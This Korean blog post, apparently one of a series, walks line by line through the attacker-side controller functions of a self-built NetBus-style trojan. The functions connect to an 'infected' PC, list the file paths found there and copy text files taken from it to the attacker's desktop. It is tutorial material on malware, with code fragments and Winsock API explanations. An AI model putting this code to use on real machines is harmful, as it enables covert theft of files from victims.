안녕하십니까. 이번 포스팅에서는 넷버스를 만들때 사용한 함수들을 살펴보겠습니다. 

참고로 이 함수는 공격자가 사용하는 넷버스에 쓰인 함수들입니다.

- void Sconnect(char *address,int port);

소켓을 이용하여 감염자와 연결을 시도할 때 사용하는 함수입니다. 매개변수로 주소와 포트를 받습니다.

- int _strcmp(char *str1);

감염자의 소켓으로부터 메세지를 받았을 때 그 메세지의 내용에 따라 처리를 다르게 해주기 위해 사용하는 함수입니다. 매개변수는 감염자의 소켓으로부터 받은 메세지입니다.

- void createTXT(char str[][256]);

감염자의 소켓으로부터 받은 파일들의 경로를 txt파일로 생성해주는 함수입니다. 매개변수는 감염자의 소켓으로부터 받은 파일들의 경로입니다.

- void copyTXT(void);

뽑아낸 txt파일의 경로를 이용하여 txt파일을 복사해주는 함수입니다.

하나씩 살펴봅시다.

- void Sconnect(char *address,int port)

- WSADATA socketdata = {0};

WSADATA 구조체 변수 socketdata를 선언과 동시에 초기화시킵니다. 이 WSADATA구조체는 윈도우 소켓에 대한 정보를 저장하는 역할을 하며 일반적으로 WSAStartup함수를 사용하기 위해 선언합니다.

- struct sockaddr_in socketaddr = {0};

sockaddr_in 구조체 변수 socketaddr를 선언과 동시에 초기화시킵니다. sockaddr_in구조체는 소켓 주소와 관련된 구조체이며 특이하게도 다른 구조체와 다르게 앞에 struct을 붙여 선언합니다. 사용된 구조체의 멤버변수들을 한 번 살펴봅시다.

*sin_family 

주소 체계를 받는 멤버변수입니다. 보통 인터넷 주소 체계를 나타내는 값인 AF_INET을 값으로 받습니다.

*sin_port

해당 주소로 접속을 시도할 때 어떤 포트로 시도할것인지를 받는 멤버변수입니다.

*sin_addr

주소값을 받는 구조체 멤버 변수입니다. 실질적으로 주소를 받는 멤버변수는 sin_addr의 S_un구조체의 S_addr멤버변수입니다.

- WSAStartup(MAKEWORD(2,2),&socketdata);

WSAStartup함수를 호출합니다. 이 함수는 소켓을 사용하기 위해서는 무조건 호출해야 하는 함수로 윈도우즈 소켓과 관련된 DLL(winsock DLL)을 사용할 수 있도록 초기화해주는 역할을 합니다. 첫번째 인자는 DLL의 버전을 값으로 받으며 두번째 인자는 WSADATA 구조체의 포인터입니다.

즉 2.2버전의 dll을 사용하고 싶으시다면 위와 같이 MAKEWORD(2,2)를 값으로 집어넣어주면 됩니다.

- G_Socket = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);

socket함수를 호출하여 소켓을 생성한 후 전역변수인 G_Socket에 저장합니다. socket함수를 한 번 살펴봅시다.

소켓을 생성하여 SOCKET 자료형으로 반환해주는 함수입니다. 인자들을 한 번 살펴봅시다.

*af

주소체계를 값으로 받는 인자입니다. IPv4주소를 사용한다면 AF_INET 값을 줍니다.

*type

소켓의 타입을 값으로 받는 인자입니다. TCP통신을 사용할려면 SOCK_STREAM값을 줍니다.

*protocol

사용할 프로토콜을 값으로 받는 인자입니다. TCP프로토콜을 사용할려면 IPPROTO_TCP값을 줍시다.

- WSAAsyncSelect(G_Socket,G_Mainhwnd,WM_SOCKET,FD_READ | FD_CONNECT | FD_CLOSE);

WSAAsyncSelect함수를 호출하여 윈도우의 프로시저에서 네트워크 관련 이벤트를 메세지를 통해 응답할 수 있게 설정합니다. 일반 윈도우에서 여러 이벤트가 발생되면 WM_CREATE 등의 메세지가 발생하지요? 이와 동일하게 네트워크 관련 이벤트가 발생되었을 경우 사용자가 임의로 정한 메세지가 발생하도록 설정해주는 함수입니다.

WSAAsyncSelect함수를 한 번 살펴봅시다.

인자들을 한 번 살펴봅시다.

*SOCKET s

네트워크 이벤트가 발생하는 소켓을 인자로 받습니다. 여기서는 방금 만든 G_Socket을 값으로 주었습니다.

*HWND hWnd

네트워크 이벤트가 발생하였을 때 메세지를 받을 윈도우의 핸들입니다. 여기서는 넷버스의 핸들인 G_Mainhwnd값을 주었습니다.

*unsigned int wMsg

이벤트가 발생하였을 때 받을 메세지명입니다. 여기서는 WM_SOCKET값을 주었는데 이렇게 하면 나중에 네트워크 이벤트가 발생하였을 때 프로시저 함수에서 WM_SOCKET메세지를 발생시키게 합니다. 다만 이 인자의 자료형은 unsigned int 이어야 하므로 코드 앞 부분에  #define WM_SOCKET WM_USER+1을 추가하여 WM_SOCKET이 unsigned int형이 되도록 합니다.

WM_USER은 사용자가 임의로 메세지를 만들 때 반드시 사용해야 하는 값이며 보통 400을 의미합니다.

*long lEvent

사용자가 메세지를 받았을 때 어떠한 이벤트를 받을 것인지를 정하는 부분입니다. 여기서는 FD_READ, FD_CONNECT, FD_CLOSE 를 값으로 주어 WM_SOCKET메세지를 받았을 때 위 세개의 이벤트를 받을 수 있도록 설정합니다. 각 이벤트들은 다음과 같습니다.

FD_READ : 반대쪽 소켓에서 send함수를 호출하였을 때 발생하는 이벤트입니다.

FD_CONNECT : 반대쪽 소켓과 연결을 시도했을 때 발생하는 이벤트입니다.

FD_CLOSE : 반대쪽 소켓과의 연결이 끊겼을 때 발생하는 이벤트입니다.

- socketaddr.sin_family = AF_INET;

sin_family 멤버변수에 인터넷 주소 체계를 뜻하는 AF_INET값을 넣습니다.

- socketaddr.sin_addr.S_un.S_addr = inet_addr(address);

sin_addr구조체에 속한 S_un구조체의 S_addr멤버에 inet_addr함수를 호출한 결과값을 넣습니다. inet_addr함수를 살펴봅시다.

이 함수는 점(.)으로 표기된 ip주소를 unsigned long형으로 변환하여 반환합니다. 소켓구조체의 S_addr멤버변수에 값을 넣기 위해 사용하였습니다. 인자를 살펴봅시다.

*const char *cp

점으로 표기된 ip주소입니다. 여기서는 Sconnect함수의 매개변수인 address를 값으로 주었습니다.

- socketaddr.sin_port = htons(port);

sin_port멤버에 htons함수의 결과값을 넣습니다. htons함수를 살펴봅시다.

htons 함수는 인자로 받은 포트번호를 TCP/IP 통신에 맞게 정렬하여 반환해주는 함수입니다. 여기서는 Sconnect함수의 매개변수인 port를 인자로 사용하였습니다.

추가 설명을 드리자면 기본적으로 네트워크는 빅 엔디언 방식을 사용하고 있습니다. 그런데 리버싱을 해보신 분은 아시겠지만 기본적으로 CPU에서는 리틀 엔디언 방식을 사용하고 있기 때문에 이 리틀 엔디언 방식의 값이 그대로 네트워크로 가게 된다면 전송에 차질이 생길 수가 있습니다. 그렇기에 이러한 리틀 엔디언 값을 빅 엔디언 방식으로 바꾸어 줘야 하는데 이러한 기능을 해주는 함수가 위의 htons함수입니다.

리틀엔디언은 앞 포스팅인 codeengn - basic rce level 15에서도 한 번 언급하였습니다.

- connect(G_Socket,(struct sockaddr *)&socketaddr,sizeof(socketaddr));

socketaddr구조체에 들어있는 정보를 토대로 connect함수를 호출하여 소켓 연결을 시도합니다. connect함수를 살펴봅시다.

지정된 소켓에 연결을 시도하는 함수라고 나와있습니다. 인자들을 살펴봅시다.

* SOCKET s

지정할 소켓입니다.

* struct sockaddr *name

소켓주소와 관련된 구조체인 sockaddr의 포인터를 인자로 받습니다. 헌데 우리는 sockaddr의 상위구조체인 sockaddr_in을 사용하였으므로 요구하는 자료형에 맞게 형변환을 시켜주었습니다.

*int namelen

name의 크기를 인자로 받습니다.

이 함수가 호출되고 난 후 관련된 이벤트는 우리가 WSAAsyncSelect함수에서 등록한 메세지(WM_SOCKET)에서 처리하게 됩니다.

여기까지가 Sconnect함수였습니다. 다음 함수를 한 번 살펴봅시다.

- int _strcmp(char *str1)

이 함수는 감염자의 소켓으로부터 메세지를 받았을 때 처리부분을 다르게 해주기 위해 만든 함수입니다. 매개변수는 소켓으로부터 받은 메세지(str1)입니다. 이렇게 받은 메세지를 구별하여 각각 다른 값을 return하게 한 후 본 코드에서 switch함수를 이용하여 처리를 각각 다르게 하는 식으로 구현되었습니다. 

그리고 이 함수에 등록되지 않은 메세지를 받았을 경우 else문구를 통해 999를 반환합니다. 그리고 switch문구에서 999값은 아무 처리도 하지 않도록 하였습니다. 

다음 함수를 살펴봅시다.

- void createTXT(char str[][256])

감염자의 PC로부터 찾은 파일의 경로들을 txt파일로 저장시켜주는 함수입니다. 매개변수는 감염자의 소켓으로부터 받은 str이란 2차원 배열입니다. 코드를 하나씩 살펴봅시다.

- HANDLE file;

파일을 만들기 위해 HANDLE형 변수를 선언합니다.

- int i,j,str_len;

for문에 쓰일 변수인 i,j와 WriteFile함수에 쓰일 변수 str_len을 선언합니다.

- DWORD usersize;

GetUserName함수를 사용하기 위해 usersize변수를 선언합니다.

- TCHAR user[256] = L"",PATH[500] = L"";

GetUserName함수와 wsprintf함수에 쓰일 TCHAR형 배열을 선언과 동시에 초기화시킵니다.

- GetUserName(user,&usersize);

GetUserName함수를 호출합니다. GetUserName함수를 한 번 살펴봅시다.

이 함수는 현재 스레드와 관련된 사용자의 이름을 가져오는 함수입니다. 인자들을 살펴봅시다.

* LPTSTR lpBuffer

가져온 사용자의 이름을 저장할 변수명입니다.

* LPDWORD lpnSize

가져온 사용자 이름의 크기를 저장할 변수의 포인터를 받습니다.

즉 정리하면 현재 사용자 계정의 이름을 알아내서 user에 저장시킵니다.

- wsprintf(PATH,L"C:\\Users\\%s\\Desktop\\넷버스txt파일경로.txt",user);

위 함수로 얻은 user을 사용하여 PATH에 txt파일을 만들 경로를 저장합니다. 저는 바탕화면에 넷버스txt파일경로라는 이름으로 텍스트파일을 만들기 위해 이렇게 작성하였습니다.

- file = CreateFile(PATH,GENERIC_READ | GENERIC_WRITE,NULL,NULL,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL);

저장된 PATH를 이용하여 파일을 생성합니다. 이때 CREATE_ALWAYS옵션을 주어 같은 명의 파일이 있어도 무조건 덮어쓰기 하도록 하였습니다.

- for(i=0;i<500;i++)

if(strcmp(str[i],"") == 0)

break;

for문을 이용하여 크기가 500인 str배열을 검사하여 몇개의 파일 경로를 가져왔는지 검사합니다. 예를 들어 파일 경로를 5개 가져왔다면 

str[0][256] ~ [4][256]까지가 들어있겠지요. 이렇게 되면 for문은 if문을 이용하여 str[5]에서 ""값을 발견하고 break를 통해 for문을 중지합니다.

- j=i;

위의 for문이 끝나면 i의 값을 j에 집어넣습니다. str[5]에서 중지가 되었으므로 i값은 5일 것이고 이 값을 j에 넣으면 j는 가져온 파일경로의 개수를 의미하게 됩니다.

- for(i=0;i<j;i++)

다시 i를 0으로 초기화 한후 가져온 파일 개수(j)만큼 아래의 코드를 반복합니다.

- WriteFile(file,str[i],strlen(str[i]),(LPDWORD)&str_len,NULL);

  WriteFile(file,"\r\n",strlen("\r\n"),(LPDWORD)&str_len,NULL);

아까 CreateFile함수를 호출하여 저장된 파일의 핸들에 str[i]값을 입력합니다. 즉 넷버스txt파일경로라는 텍스트 파일에 파일 경로를 하나씩 입력하게 되는 것이지요. 

그리고 하나의 파일 경로의 입력을 마치게 되면 다시 WriteFile함수를 호출하여 \r\n을 텍스트 파일에 입력하도록 합니다. \r\n은 엔터를 의미하는 값인데 일반 콘솔출력에서 \n을 쓴다면 파일에서는 \r\n을 씁니다.

- CloseHandle(file);

가져온 파일들의 경로를 전부 작성하였으면 파일의 핸들을 닫습니다.

- wsprintf(PATH,L"%s가 생성되었습니다.",PATH);

현재 작성한 파일이 생성되었다는 문자열을 PATH에 저장시킵니다.

- MessageBox(G_filefindDlg,PATH,L"파일 찾기 완료",MB_OK);

모든 작업이 끝났으면 MessageBox를 호출하여 사용자에게 파일찾기가 끝났음을 알립니다. 

- EnableWindow(GetDlgItem(G_filefindDlg,txt),TRUE);

마지막으로 리소스의 파일 찾기 대화상자에 있는 txt버튼을 활성화시킵니다. 

자 이제 마지막으로 남은 함수를 살펴봅시다.

- void copyTXT(void)

감염자의 PC에 있는 텍스트 파일의 내용을 소켓으로부터 받아 텍스트파일을 생성시켜주는 함수입니다. 일종의 복사라고 보시면 됩니다. 코드를 살펴봅시다.

- HANDLE file;

파일을 핸들을 저장할 HANDLE형 변수를 선언합니다.

- DWORD usersize,size;

GetUserName과 WriteFile에 쓰일 DWORD형 변수 2개를 선언합니다.

- int str_len;

MultiByteToWideChar함수에 쓰일 str_len변수를 선언합니다.

- TCHAR user[256] = L"",Wstring[256] = L"",Wstring2[256] = L"";

GetUserName과 MultiByteToWideChar, wsprintf함수에 쓰일 TCHAR형 변수들을 선언과 동시에 초기화합니다.

- SECURITY_ATTRIBUTES SA = {0};

CreateDirectory함수에 쓰일 SECURITY_ATTRIBUTES 구조체 변수를 선언과 동시에 초기화합니다.

- str_len =   MultiByteToWideChar(949,NULL,G_String.str2,strlen(G_String.str2),NULL,NULL);

G_String.str2에 들은 문자열을 유니코드로 바꾸기 위해 먼저 문자열 길이를 가져옵니다. 여기서 G_String.str2은 감염자의 소켓으로부터 받은 텍스트 파일의 이름입니다.

(ex 1.txt)

- MultiByteToWideChar(949,NULL,G_String.str2,strlen(G_String.str2),Wstring,str_len);

str_len값을 이용하여 G_String.str2문자열을 유니코드로 변환시켜 Wstring에 저장시킵니다. 기본적으로 소켓으로 데이터를 전송받을 때는 멀티바이트로 데이터를 받는데 나중에 메세지박스에 문자열을 출력시킬 때에는 유니코드로 출력시켜야 하므로 유니코드로 변환시켜주었습니다.

- GetUserName(user,&usersize);

  wsprintf(Wstring2,L"C:\\Users\\%s\\Desktop\\넷버스복사물",user);

사용자 계정의 이름을 구해서 Wstring2에 폴더 경로를 저장시킵니다.

- CreateDirectory(Wstring2,&SA);

Wstring2값을 이용하여 CreateDirectory함수를 호출해 폴더를 만듭니다. 이때 두번째 인자는 아까 선언한 SECURITY_ATTRIBUTES 구조체 변수의 포인터입니다.

- wsprintf(Wstring2,L"C:\\Users\\%s\\Desktop\\넷버스복사물\\%s",user,Wstring);

이번엔 파일을 생성하기 위해 Wstring2에 새 경로를 저장합니다. 이 때 파일의 경로는 아까 CreateDirectory함수로 만든 폴더의 안입니다. 그리고 텍스트파일명은 아까 유니코드로 변환시킨 파일명이 저장된 Wstring을 사용하여 감염자의 PC에 있는 텍스트명과 똑같은 텍스트명을 사용합니다.

- file = CreateFile(Wstring2,GENERIC_READ | GENERIC_WRITE,NULL,NULL,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL);

저장된 Wstring2값을 이용하여 txt파일을 CREATE_ALWAYS옵션으로 만듭니다.

- WriteFile(file,G_String.string,strlen(G_String.string),&size,NULL);

감염자 PC의 파일에서 빼낸 데이터를 그대로 파일에 작성합니다. G_String.string이 바로 그 데이터가 저장된 변수입니다. 참고로 이 배열의 크기는 500000byte입니다.

- wsprintf(Wstring2,L"C:\\Users\\%s\\Desktop\\넷버스복사물\\%s가 생성되었습니다.",user,Wstring);

  MessageBox(G_fileCopyDlg,Wstring2,L"파일 복사 완료",MB_OK);

Wstring2에 유니코드 문자열을 넣고 MessageBox를 호출하여 사용자한테 작업이 완료되었음을 알립니다.

- CloseHandle(file);

  EnableWindow(GetDlgItem(G_fileCopyDlg,copy),TRUE);

모든 작업이 끝나면 file의 핸들을 닫고 파일 복사 대화상자의 copy버튼을 활성화시킵니다.

네 이것으로 넷버스 함수 포스팅을 마치겠습니다. 다음 포스팅에서는 감염자의 PC에서 작동하는 patch의 함수들을 포스팅하겠습니다.

Posted by englishmath